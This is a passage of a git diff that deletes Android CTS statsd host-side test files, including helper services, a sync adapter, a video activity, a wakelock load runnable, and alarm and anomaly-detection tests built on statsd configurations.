- public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
- private Looper mServiceLooper;
- private ServiceHandler mServiceHandler;
- private boolean mChannelCreated;
-
- private final class ServiceHandler extends Handler {
- public ServiceHandler(Looper looper) {
- super(looper);
- }
-
- @Override
- public void handleMessage(Message msg) {
- Log.i(TAG, "Handling message.");
- // Sleep.
- try {
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
- } catch (InterruptedException e) {
- // Restore interrupt status.
- Thread.currentThread().interrupt();
- }
- Log.i(TAG, "Stopping service.");
- // Stop the service using the startId, so that we don't stop
- // the service in the middle of handling another job
- stopSelf(msg.arg1);
- }
- }
-
- @Override
- public void onCreate() {
- // Start up the thread running the service. Note that we create a
- // separate thread because the service normally runs in the process's
- // main thread, which we don't want to block. We also make it
- // background priority so CPU-intensive work will not disrupt our UI.
- HandlerThread thread = new HandlerThread("ServiceStartArguments",
- Process.THREAD_PRIORITY_BACKGROUND);
- thread.start();
-
- // Get the HandlerThread's Looper and use it for our Handler
- mServiceLooper = thread.getLooper();
- mServiceHandler = new ServiceHandler(mServiceLooper);
-
- if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
- return;
- }
- // OMR1 requires notification channel to be set
- NotificationManager notificationManager =
- (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
- NOTIFICATION_CHANNEL_ID,
- NotificationManager.IMPORTANCE_HIGH);
- notificationManager.createNotificationChannel(channel);
- mChannelCreated = true;
- }
-
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
- .setContentTitle("CTS Foreground")
- .setSmallIcon(android.R.drawable.ic_secure)
- .build();
- Log.i(TAG, "Starting Foreground.");
- startForeground(1, notification);
-
- Message msg = mServiceHandler.obtainMessage();
- msg.arg1 = startId;
- mServiceHandler.sendMessage(msg);
-
- return START_NOT_STICKY;
- }
-
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
-
- @Override
- public void onDestroy () {
- if (mChannelCreated) {
- NotificationManager notificationManager =
- (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
deleted file mode 100644
index d81040f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.TargetApi;
-import android.app.job.JobInfo;
-import android.app.job.JobParameters;
-import android.app.job.JobScheduler;
-import android.app.job.JobService;
-import android.content.Context;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Handles callback from the framework {@link android.app.job.JobScheduler}.
- * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
- */
-@TargetApi(21)
-public class StatsdJobService extends JobService {
- private static final String TAG = "AtomTestsJobService";
-
- JobInfo mRunningJobInfo;
- JobParameters mRunningParams;
-
- private static final Object sLock = new Object();
-
- @GuardedBy("sLock")
- private static CountDownLatch sLatch;
-
- final Handler mHandler = new Handler();
- final Runnable mWorker = new Runnable() {
- @Override public void run() {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
-
- jobFinished(mRunningParams, false);
-
- synchronized (sLock) {
- if (sLatch != null) {
- sLatch.countDown();
- }
- }
- }
- };
-
- public static synchronized CountDownLatch resetCountDownLatch() {
- synchronized (sLock) {
- if (sLatch == null || sLatch.getCount() == 0) {
- sLatch = new CountDownLatch(1);
- }
- }
- return sLatch;
- }
-
- @Override
- public boolean onStartJob(JobParameters params) {
- mRunningParams = params;
- mHandler.post(mWorker);
- return true;
- }
-
- @Override
- public boolean onStopJob(JobParameters params) {
- return false;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
deleted file mode 100644
index bd652b2..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-
-/**
- * Provider for the sync test.
- */
-public class StatsdProvider extends ContentProvider {
- public static final String AUTHORITY = "com.android.server.cts.device.statsd.provider";
-
- @Override
- public boolean onCreate() {
- return false;
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- return null;
- }
-
- @Override
- public String getType(Uri uri) {
- return null;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- return null;
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- return 0;
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- return 0;
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
deleted file mode 100644
index 6968307..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.Account;
-import android.content.AbstractThreadedSyncAdapter;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.SyncResult;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.Assert;
-
-import java.util.concurrent.CountDownLatch;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Sync adapter for the sync test.
- */
-public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
- private static final String TAG = "AtomTestsSyncAdapter";
-
- private static final int TIMEOUT_SECONDS = 60 * 2;
-
- private static CountDownLatch sLatch;
-
- private static final Object sLock = new Object();
-
-
- public StatsdSyncAdapter(Context context) {
- // No need for auto-initialization because we set isSyncable in the test anyway.
- super(context, /* autoInitialize= */ false);
- }
-
- @Override
- public void onPerformSync(Account account, Bundle extras, String authority,
- ContentProviderClient provider, SyncResult syncResult) {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
- synchronized (sLock) {
- Log.i(TAG, "onPerformSync");
- if (sLatch != null) {
- sLatch.countDown();
- } else {
- Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
- }
- }
- }
-
- /**
- * Request a sync on the given account, and wait for it.
- */
- public static void requestSync(Account account) throws Exception {
- final Bundle extras = new Bundle();
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
-
- ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
- }
-
- public static CountDownLatch resetCountDownLatch() {
- synchronized (sLock) {
- if (sLatch == null || sLatch.getCount() == 0) {
- sLatch = new CountDownLatch(1);
- }
- }
- return sLatch;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
deleted file mode 100644
index ab06c6f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-
-/**
- * Service for the sync test.
- */
-public class StatsdSyncService extends Service {
-
- private static StatsdSyncAdapter sAdapter;
-
- @Override
- public synchronized IBinder onBind(Intent intent) {
- if (sAdapter == null) {
- sAdapter = new StatsdSyncAdapter(getApplicationContext());
- }
- return sAdapter.getSyncAdapterBinder();
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
deleted file mode 100644
index ea1fcec..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-import android.widget.VideoView;
-
-public class VideoPlayerActivity extends Activity {
- private static final String TAG = VideoPlayerActivity.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_PLAY_VIDEO = "action.play_video";
- public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
- "action.play_video_picture_in_picture_mode";
-
- public static final int DELAY_MILLIS = 2000;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- Intent intent = this.getIntent();
- if (intent == null) {
- Log.e(TAG, "Intent was null.");
- finish();
- }
-
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from foreground activity.");
-
- switch (action) {
- case ACTION_PLAY_VIDEO:
- playVideo();
- break;
- case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
- playVideo();
- this.enterPictureInPictureMode();
- break;
- default:
- Log.e(TAG, "Intent had invalid action " + action);
- finish();
- }
- delay();
- }
-
- private void playVideo() {
- setContentView(R.layout.activity_main);
- VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
- videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
- videoView.start();
- }
-
- private void delay() {
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- SystemClock.sleep(DELAY_MILLIS);
- return null;
- }
- @Override
- protected void onPostExecute(Void nothing) {
- finish();
- }
- }.execute();
- }
-}
-
-
-
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
deleted file mode 100644
index 1a3d32a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.Context;
-import android.os.PowerManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-
-public class WakelockLoadTestRunnable implements Runnable {
- String tag;
- CountDownLatch latch;
- WakelockLoadTestRunnable(String t, CountDownLatch l) {
- tag = t;
- latch = l;
- }
- @Override
- public void run() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
- long sleepTimeNs = 700_000;
-
- for (int i = 0; i < 1000; i++) {
- wl.acquire();
- long startTime = System.nanoTime();
- while (System.nanoTime() - startTime < sleepTimeNs) {}
- wl.release();
- startTime = System.nanoTime();
- while (System.nanoTime() - startTime < sleepTimeNs) {}
- }
- latch.countDown();
- }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
deleted file mode 100644
index 032297e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alarm;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alarm;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AlarmTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.AnomalyDetectionTests";
-
- private static final boolean INCIDENTD_TESTS_ENABLED = false;
-
- // Config constants
- private static final int ALARM_ID = 11;
- private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
- private static final int INCIDENTD_SECTION = -1;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- if (!INCIDENTD_TESTS_ENABLED) {
- CLog.w(TAG, TAG + " alarm tests are disabled by a flag. Change flag to true to run");
- }
- }
-
- public void testAlarm() throws Exception {
- StatsdConfig.Builder config = getBaseConfig();
- turnScreenOn();
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- Thread.sleep(9_000);
-
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
-
- private final StatsdConfig.Builder getBaseConfig() throws Exception {
- return createConfigBuilder()
- .addAlarm(Alarm.newBuilder().setId(ALARM_ID).setOffsetMillis(2).setPeriodMillis(
- 5_000) // every 5 seconds.
- )
- .addSubscription(Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_INCIDENTD)
- .setRuleType(Subscription.RuleType.ALARM)
- .setRuleId(ALARM_ID)
- .setIncidentdDetails(
- IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
deleted file mode 100644
index d6c1107..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ /dev/null
@@ -1,471 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alert;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alert;
-import com.android.internal.os.StatsdConfigProto.CountMetric;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.KernelWakelock;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil.CLog;
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AnomalyDetectionTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.AnomalyDetectionTests";
-
- private static final boolean INCIDENTD_TESTS_ENABLED = false;
- private static final boolean PERFETTO_TESTS_ENABLED = true;
-
- private static final int WAIT_AFTER_BREADCRUMB_MS = 2000;
-
- // Config constants
- private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_MATCH_STOP_ID = 2;
- private static final int METRIC_ID = 8;
- private static final int ALERT_ID = 11;
- private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
- private static final int SUBSCRIPTION_ID_PERFETTO = 42;
- private static final int ANOMALY_DETECT_MATCH_ID = 10;
- private static final int ANOMALY_EVENT_ID = 101;
- private static final int INCIDENTD_SECTION = -1;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- if (!INCIDENTD_TESTS_ENABLED) {
- CLog.w(TAG, TAG + " anomaly tests are disabled by a flag. Change flag to true to run");
- }
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- if (PERFETTO_TESTS_ENABLED) {
- //Deadline to finish trace collection
- final long deadLine = System.currentTimeMillis() + 10000;
- while (isSystemTracingEnabled()) {
- if (System.currentTimeMillis() > deadLine) {
- CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
- break;
- }
- CLog.d("Waiting to finish collecting traces. ");
- Thread.sleep(WAIT_TIME_SHORT);
- }
- }
- }
-
- // Tests that anomaly detection for count works.
- // Also tests that anomaly detection works when spanning multiple buckets.
- public void testCountAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
- .addCountMetric(CountMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.CTS) // 1 second
- // Slice by label
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- )
- )
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(6);
- Thread.sleep(500);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(6);
- Thread.sleep(500);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(12);
- Thread.sleep(1000);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Tests that anomaly detection for duration works.
- // Also tests that refractory periods in anomaly detection work.
- public void testDurationAnomalyDetection() throws Exception {
- final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
- StatsdConfig.Builder config =
- getBaseConfig(17, 17, 10_000_000_000L /*threshold: > 10 seconds in nanoseconds*/)
- .addDurationMetric(DurationMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // predicate below
- .setAggregationType(DurationMetric.AggregationType.SUM)
- .setBucket(TimeUnit.CTS) // 1 second
- )
- .addPredicate(StatsdConfigProto.Predicate.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- )
- );
- uploadConfig(config);
-
- // Since timing is crucial and checking logcat for incidentd is slow, we don't test for it.
-
- // Test that alarm doesn't fire early.
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(6_000); // Recorded duration at end: 6s
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(4_000); // Recorded duration at end: 6s
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(9_000); // Recorded duration at end: 13s
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
- // Now test that the refractory period is obeyed.
- markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(3_000); // Recorded duration at end: 13s
- // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that detection works again after refractory period finishes.
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(8_000); // Recorded duration at end: 9s
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(15_000); // Recorded duration at end: 15s
- // We can do an incidentd test now that all the timing issues are done.
- data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-
- doAppBreadcrumbReportedStop(1);
- }
-
- // Tests that anomaly detection for duration works even when the alarm fires too late.
- public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
- final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
- StatsdConfig.Builder config =
- getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
- .addDurationMetric(DurationMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(
- APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // Predicate below.
- .setAggregationType(DurationMetric.AggregationType.SUM)
- .setBucket(TimeUnit.CTS) // 1 second
- )
- .addPredicate(StatsdConfigProto.Predicate.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- )
- );
- uploadConfig(config);
-
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(5_000);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(2_000);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that alarm does fire when it is supposed to.
- // The anomaly occurs in 1s, but alarms won't fire that quickly.
- // It is likely that the alarm will only fire after this period is already over, but the
- // anomaly should nonetheless be detected when the event stops.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(1_200);
- // Anomaly should be detected here if the alarm didn't fire yet.
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(200);
- List<EventMetricData> data = getEventMetricDataList();
- if (data.size() == 2) {
- // Although we expect that the alarm won't fire, we certainly cannot demand that.
- CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
- }
- assertThat(data.size()).isAnyOf(1, 2);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- }
-
- // Tests that anomaly detection for value works.
- public void testValueAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
- .addValueMetric(ValueMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.ONE_MINUTE)
- // Get the label field's value:
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
-
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- doAppBreadcrumbReportedStart(14); // value = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Test that anomaly detection integrates with perfetto properly.
- public void testPerfetto() throws Exception {
- String chars = getDevice().getProperty("ro.build.characteristics");
- if (chars.contains("watch")) {
- return;
- }
-
- if (PERFETTO_TESTS_ENABLED) resetPerfettoGuardrails();
-
- StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
- .addSubscription(Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_PERFETTO)
